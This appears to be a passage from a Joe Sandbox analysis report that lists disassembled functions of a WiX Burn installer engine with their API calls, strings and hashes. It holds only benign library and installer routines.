Instruction ID: e1d190e73c1086f2829e06fb4c84cf2a9600e7476a6b9ce6bf3540b5953e08a5
Opcode Fuzzy Hash: a7567a94e3d15e1f12502a101d0d5d924bcce7b9af546fbf7ee6cde5e7e77e04
Instruction Fuzzy Hash: FF21DF7A640208FBDB11CF54CD82FBE72BEEB80752F204015F914AA680EB74EE80E610

Function 00A536FE Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A53723

Strings

d, xrefs: 00A53768
`D m, xrefs: 00A53728
srputil.cpp, xrefs: 00A537AF

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: `D m$d$srputil.cpp
API String ID: 2102423945-2568160790
Opcode ID: ac697aa4b7858b09a46cf965e9a912a6d5b9bd5e34415fd9bbb5457191df1961
Instruction ID: 2444dedb2ee03f12bd2d4baf0ed5bc666c6e5650c13b16ef784904bd26f19e34
Opcode Fuzzy Hash: ac697aa4b7858b09a46cf965e9a912a6d5b9bd5e34415fd9bbb5457191df1961
Instruction Fuzzy Hash: 1E11B7B2A4021DBADF10DBA4DC86AAF77BCFB48744F004569AA15DB141D674DE4C8B90

Function 00A4F76A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60filestringCOMMONLIBRARYCODE

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,?,00A4F95C,00A46A7B,00A46A7B,?,00000000,0000FDE9,?,?,00A50109,?), ref: 00A4F77C
WriteFile.KERNEL32(00000000,00000000,0000FDE9,00000000,?,?,00A4F95C,00A46A7B,00A46A7B,?,00000000,0000FDE9,?,?,00A50109,?), ref: 00A4F7BE
GetLastError.KERNEL32(?,?,00A4F95C,00A46A7B,00A46A7B,?,00000000,0000FDE9,?,?,00A50109,?,00A46A7B,?,?,00A46A7B), ref: 00A4F7C8

Strings

logutil.cpp, xrefs: 00A4F7F2

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastWritelstrlen
String ID: logutil.cpp
API String ID: 606256338-3545173039
Opcode ID: 42ec052aea4688432d7e0b8ae91302d7e27d20769d8411ee820f7703b0ec2a2c
Instruction ID: f44b5062a224f0934fcf43499726d6ca24b2068541f1baf0808d054e5d67325d
Opcode Fuzzy Hash: 42ec052aea4688432d7e0b8ae91302d7e27d20769d8411ee820f7703b0ec2a2c
Instruction Fuzzy Hash: D6118275700306BE97109F9ADC85AAB7FACFB84755B204139F904D6051EB74DE4486B0

Function 00A51B36 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(000011FF,00000000,00000000,00000000,00000000,00000000,?,00000001,00000000,?,?,?,00A36034,00000000,00000000,00000000), ref: 00A51B68
GetLastError.KERNEL32(?,?,?,00A36034,00000000,00000000,00000000,00000000,?,?,00A320A2,?,?,80070656,00000001,?), ref: 00A51B75
LocalFree.KERNEL32(00000000,?,00000000,00000000,?,?,?,00A36034,00000000,00000000,00000000,00000000,?,?,00A320A2,?), ref: 00A51BBC

Strings

strutil.cpp, xrefs: 00A51B9A

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID: strutil.cpp
API String ID: 1365068426-3612885251
Opcode ID: 4648de6b90317c32573f366c6b4c0e88985d38dee29b2f55b2250d0c5eb0861e
Instruction ID: 6065e143d08001a8fcab0c452c5101f9aa03e0e8e2d0509ea14fe80edbf22dd2
Opcode Fuzzy Hash: 4648de6b90317c32573f366c6b4c0e88985d38dee29b2f55b2250d0c5eb0861e
Instruction Fuzzy Hash: A9117972900204FBCB119F88CC499FEBA79FB80352F214669FD01E2150F2708E46DB60

Function 00A5648D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000080,00000001,00000000,00000003,00000080,00000000,?,00000000,?,00A40D83,00000000,?,?,BundleCachePath,00000000), ref: 00A564C3
GetLastError.KERNEL32(?,00A40D83,00000000,?,?,BundleCachePath,00000000,?,BundleVersion,?,?,EngineVersion,?,00000000), ref: 00A564D0

Strings

fileutil.cpp, xrefs: 00A564A2, 00A564F5

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CreateErrorFileLast
String ID: fileutil.cpp
API String ID: 1214770103-2967768451
Opcode ID: 3bb8a42a8bffb88adcb44bde1b6dedfec9e1b748a22657d56b299f62fa92fcb7
Instruction ID: a06fb15be5338fe2226a09d8167bea8fbeed9b33fa9732c336dcbffb0bc0eb45
Opcode Fuzzy Hash: 3bb8a42a8bffb88adcb44bde1b6dedfec9e1b748a22657d56b299f62fa92fcb7
Instruction Fuzzy Hash: 7901A732A8031176E73017A4AC19F7A6668BB41B63F508225FE04EB1E1D679CD1893E4

Function 00A567F3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(E900A5F2,40000000,00000001,00000000,00000002,00000080,00000000,00000000,00A270D7,?,00A25F7A,00A270D7,00000080,E900A5F2,00000000), ref: 00A5680B
GetLastError.KERNEL32(?,00A25F7A,00A270D7,00000080,E900A5F2,00000000,?,?,00A270D7,00A213BB,?,?,?,?,?,DisplayName), ref: 00A56818
CloseHandle.KERNEL32(00000000,00000000,00A270D7,00A25F7A,?,00A25F7A,00A270D7,00000080,E900A5F2,00000000,?,?,00A270D7,00A213BB), ref: 00A5686D

Strings

fileutil.cpp, xrefs: 00A5683D

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: fileutil.cpp
API String ID: 2528220319-2967768451
Opcode ID: 35cb9cedb427b574c2540eb21c9cb2a40d0175bfbab9b1205829dae61626baae
Instruction ID: 1f9675d187321960560410629cf4b282022613f34d36a094f0cf9311962914e3
Opcode Fuzzy Hash: 35cb9cedb427b574c2540eb21c9cb2a40d0175bfbab9b1205829dae61626baae
Instruction Fuzzy Hash: 8A01D43260061167DB215B69EC09F9A3A25BB81B33F554225FE349B1E0D731C81992A4

Function 00A55518 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00A5555D
SysFreeString.OLEAUT32(00000000), ref: 00A55592

Strings

xmlutil.cpp, xrefs: 00A5552E, 00A55574
`5w, xrefs: 00A55592

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: String$AllocFree
String ID: `5w$xmlutil.cpp
API String ID: 344208780-26783885
Opcode ID: 5fd0ae49c34ca31eea1295919074068cd980d6c2a401f154c5d33a6ed06e9db6
Instruction ID: 8eb4310ba2df7ca6e13a78527d6f6121c84720bd2cc6efe79a73982dc1a529e5
Opcode Fuzzy Hash: 5fd0ae49c34ca31eea1295919074068cd980d6c2a401f154c5d33a6ed06e9db6
Instruction Fuzzy Hash: 64018F71A40706B7DB105A79AC18E7A36AAFF55763F110029FC09DB340E674CC4997A0

Function 00A5560F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00A55654
SysFreeString.OLEAUT32(00000000), ref: 00A55689

Strings

xmlutil.cpp, xrefs: 00A55625, 00A5566B
`5w, xrefs: 00A55689

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: String$AllocFree
String ID: `5w$xmlutil.cpp
API String ID: 344208780-26783885
Opcode ID: 9082beeef3112475a7b383cfaa16c9c54053d190e8686984130557f9404deb6f
Instruction ID: 9407f82a9634b3a85839c4ae04e3c457fcf9ea98fa4dbaddf4ad54acafbbaabb
Opcode Fuzzy Hash: 9082beeef3112475a7b383cfaa16c9c54053d190e8686984130557f9404deb6f
Instruction Fuzzy Hash: C401F231B40346ABDB200A799C14FBA32A8BF50763F594039FD04DB740DBB4CC4887A0

Function 00A3EE11 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(?,00000001,?,00000001,00000000,?,?,?,?,?,?,?,00A3EFAB), ref: 00A3EE36
GetLastError.KERNEL32(?,?,?,?,?,?,?,00A3EFAB), ref: 00A3EE40

Strings

msuengine.cpp, xrefs: 00A3EE65
Failed to stop wusa service., xrefs: 00A3EE6F

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ControlErrorLastService
String ID: Failed to stop wusa service.$msuengine.cpp
API String ID: 4114567744-2259829683
Opcode ID: ebd9535c5fd625780914ffeeb53ab626a6f5bb69ac05b24ba7e5031021dd3abd
Instruction ID: 0bd4357c99e7f412f09a03a4441e8a7a4ed2fb32e697e023b00e53ca790bac17
Opcode Fuzzy Hash: ebd9535c5fd625780914ffeeb53ab626a6f5bb69ac05b24ba7e5031021dd3abd
Instruction Fuzzy Hash: 2CF0F933B50225B7D720DBA5AC06BAF77A9AB04B11F100129F905F71C0DB64D94582A5

Function 00A3296A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009002,00000000,?), ref: 00A32993
GetLastError.KERNEL32 ref: 00A3299D

Strings

Failed to post elevate message., xrefs: 00A329CC
EngineForApplication.cpp, xrefs: 00A329C2

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post elevate message.
API String ID: 2609174426-4098423239
Opcode ID: 82cd8bf0d98e50bcf2033a5d63d04618853f5e229840d4085e1a2b8fd4dfb316
Instruction ID: 47277cc780321b3dae1ff14298c8f594a10c098e49dee927c0f98cee11ceb556
Opcode Fuzzy Hash: 82cd8bf0d98e50bcf2033a5d63d04618853f5e229840d4085e1a2b8fd4dfb316
Instruction Fuzzy Hash: F7F0F632790322AFD3205AA89C0AF567B58BB01B31F154129BA14EF1D1DA25DC0597D4

Function 00A2BB6F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,BootstrapperApplicationDestroy), ref: 00A2BB96
FreeLibrary.KERNEL32(?,?,00A218A2,?,?,?,?,00A21E12,?), ref: 00A2BBA5
GetLastError.KERNEL32(?,00A218A2,?,?,?,?,00A21E12,?), ref: 00A2BBAF

Strings

BootstrapperApplicationDestroy, xrefs: 00A2BB90

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: AddressErrorFreeLastLibraryProc
String ID: BootstrapperApplicationDestroy
API String ID: 1144718084-3186005537
Opcode ID: 143635f5c214339fff914d3a10e43e0b637d63ed6a168253c359d8ec7d763c66
Instruction ID: 4b43159d81c7f44744613cd3388c81d84a4cef7a33f87531f0a09f10ac0795d5
Opcode Fuzzy Hash: 143635f5c214339fff914d3a10e43e0b637d63ed6a168253c359d8ec7d763c66
Instruction Fuzzy Hash: D8F049327207119FD7209FAAEC08F2377ECBF80762B088939E555C6554DB25E8018BB0

Function 00A554BC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 00A554D1
SysFreeString.OLEAUT32(00000000), ref: 00A55503

Strings

xmlutil.cpp, xrefs: 00A554E5
`5w, xrefs: 00A55503

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: String$AllocFree
String ID: `5w$xmlutil.cpp
API String ID: 344208780-26783885
Opcode ID: ee5f2116fa7fafd66ca82509004e0974bede70ff8398ffe0df9d8dafff2b88a4
Instruction ID: c1ce714d58aedad78dc7fca95cd91462a32827f144f640c7c6ebf5f13a06a801
Opcode Fuzzy Hash: ee5f2116fa7fafd66ca82509004e0974bede70ff8398ffe0df9d8dafff2b88a4
Instruction Fuzzy Hash: DEF09031A00B54A7CB214B649C18F6A77EABF40B63F254128FD04AB220D7B4CC548BE0

Function 00A555B3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 00A555C8
SysFreeString.OLEAUT32(00000000), ref: 00A555FA

Strings

xmlutil.cpp, xrefs: 00A555DF
`5w, xrefs: 00A555FA

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: String$AllocFree
String ID: `5w$xmlutil.cpp
API String ID: 344208780-26783885
Opcode ID: e7ccef08279266acf80cdeff66e74ab45964d1fceb87ba5817f0ad65b1ae7fb1
Instruction ID: 473fee3d5b992c79d05d796c250bc36a13c6c150fd252ff67b967a9789e51652
Opcode Fuzzy Hash: e7ccef08279266acf80cdeff66e74ab45964d1fceb87ba5817f0ad65b1ae7fb1
Instruction Fuzzy Hash: BFF0BE32A40754E7CB214F689C18E6A77E8FF44B73B594119FC14EB620E774DC548BA4

Function 00A328A8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009000,00000000,00000000), ref: 00A328BB
GetLastError.KERNEL32 ref: 00A328C5

Strings

EngineForApplication.cpp, xrefs: 00A328EA
Failed to post detect message., xrefs: 00A328F4

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post detect message.
API String ID: 2609174426-598219917
Opcode ID: b3117f7ba0a259f439e1643a9328cddd96b4afdd95cf437d50f3d2140cbefb8a
Instruction ID: fc5a6d6f78cb2075aa422c053ebb29e399a0791dfcdf993584168287261ef79a
Opcode Fuzzy Hash: b3117f7ba0a259f439e1643a9328cddd96b4afdd95cf437d50f3d2140cbefb8a
Instruction Fuzzy Hash: 5AF0E533B95335BAD32056A9AC0AF977E98FF01BB2F110028F908EA1D1DA54DC04C3E8

Function 00A329E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009003,00000000,?), ref: 00A329F5
GetLastError.KERNEL32 ref: 00A329FF

Strings

EngineForApplication.cpp, xrefs: 00A32A24
Failed to post apply message., xrefs: 00A32A2E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post apply message.
API String ID: 2609174426-1304321051
Opcode ID: f0e0598328984a46269cc897bc870979f7676b80d963ebc74135a51f8b12cb1b
Instruction ID: 1f2b3b24fecae62c2a5551b95b80393170997074aa077e36943eee575257d6a5
Opcode Fuzzy Hash: f0e0598328984a46269cc897bc870979f7676b80d963ebc74135a51f8b12cb1b
Instruction Fuzzy Hash: D6F0A733A90321BBD2305BA5AC0AF977F98FF10BB2F014025F908EA1D1DA24D804C3E4

Function 00A32908 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009001,00000000,?), ref: 00A3291D
GetLastError.KERNEL32 ref: 00A32927

Strings

EngineForApplication.cpp, xrefs: 00A3294C
Failed to post plan message., xrefs: 00A32956

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post plan message.
API String ID: 2609174426-2952114608
Opcode ID: b7337997e412bc7d0169568c23719f934d9b8c7726ed5810d5747eec860cf847
Instruction ID: 7708391f78806029a7bee3146abd670874649e892e5e0299016e2397cdd9f2e2
Opcode Fuzzy Hash: b7337997e412bc7d0169568c23719f934d9b8c7726ed5810d5747eec860cf847
Instruction Fuzzy Hash: 43F0A733A503227BD6305AA59C0AF977F98FF10BB2F010024FA18EA1D1D625DC1483E4

Function 00A32A42 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009004,?,00000000), ref: 00A32A57
GetLastError.KERNEL32 ref: 00A32A61

Strings

EngineForApplication.cpp, xrefs: 00A32A86
Failed to post shutdown message., xrefs: 00A32A90

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post shutdown message.
API String ID: 2609174426-188808143
Opcode ID: 309a632216b9d1207ea6314b95d2eef3c6bf625320693cd292361ce7e6797c86
Instruction ID: fde0094037cbbee2c6ed3012c312b8dd20826bd06f9fc9cd805c26ee81131c11
Opcode Fuzzy Hash: 309a632216b9d1207ea6314b95d2eef3c6bf625320693cd292361ce7e6797c86
Instruction Fuzzy Hash: EEF0AE33A5172677933056955C05F977F54BF00BB1F010024FD04DA1D1D614D80497D4

Function 00A464FD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(526A5680,00A21D56,00A46782,00A21D56,?,00A406B4,00A2222A,00A21E8E,?,00A2D8FA,?,00A21D56,00A21D9E,?,00A21DDE,WixBundleElevated), ref: 00A46503
GetLastError.KERNEL32(?,00A406B4,00A2222A,00A21E8E,?,00A2D8FA,?,00A21D56,00A21D9E,?,00A21DDE,WixBundleElevated,00000000,00000000,00000001,00A21DDE), ref: 00A4650D

Strings

Failed to set begin operation event., xrefs: 00A4653C
cabextract.cpp, xrefs: 00A46532

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorEventLast
String ID: Failed to set begin operation event.$cabextract.cpp
API String ID: 3848097054-4159625223
Opcode ID: 71e0f7bca59e7600ce028569102d885a111a3bc7e02912867e36a7c3df4ef6cf
Instruction ID: d72a2d656b4df6b45423e0f5e03c0178b0c3e0f6dce218e4d9c82a2d59b05700
Opcode Fuzzy Hash: 71e0f7bca59e7600ce028569102d885a111a3bc7e02912867e36a7c3df4ef6cf
Instruction Fuzzy Hash: 3BE02B367546326A92206378BD0AB6619A4BF43B627020338F804E7181FA14CC0447D7

Function 00A4EDFE Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00A4EE32
__isleadbyte_l.LIBCMT ref: 00A4EE65
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,00000000,00000000,?,?,?,?,?,00000000), ref: 00A4EE96
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,00000000,00000000,?,?,?,?,?,00000000), ref: 00A4EF04

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 6c60cd20b417e213e8cbb24d73a4a8a7ca15d0e8eec823efee39eec9ca2dd797
Instruction ID: c8cdbb7ddf9ed008a59dca46ed5effb3c6f1705c4f5e0ace3687974bf4fa25bc
Opcode Fuzzy Hash: 6c60cd20b417e213e8cbb24d73a4a8a7ca15d0e8eec823efee39eec9ca2dd797
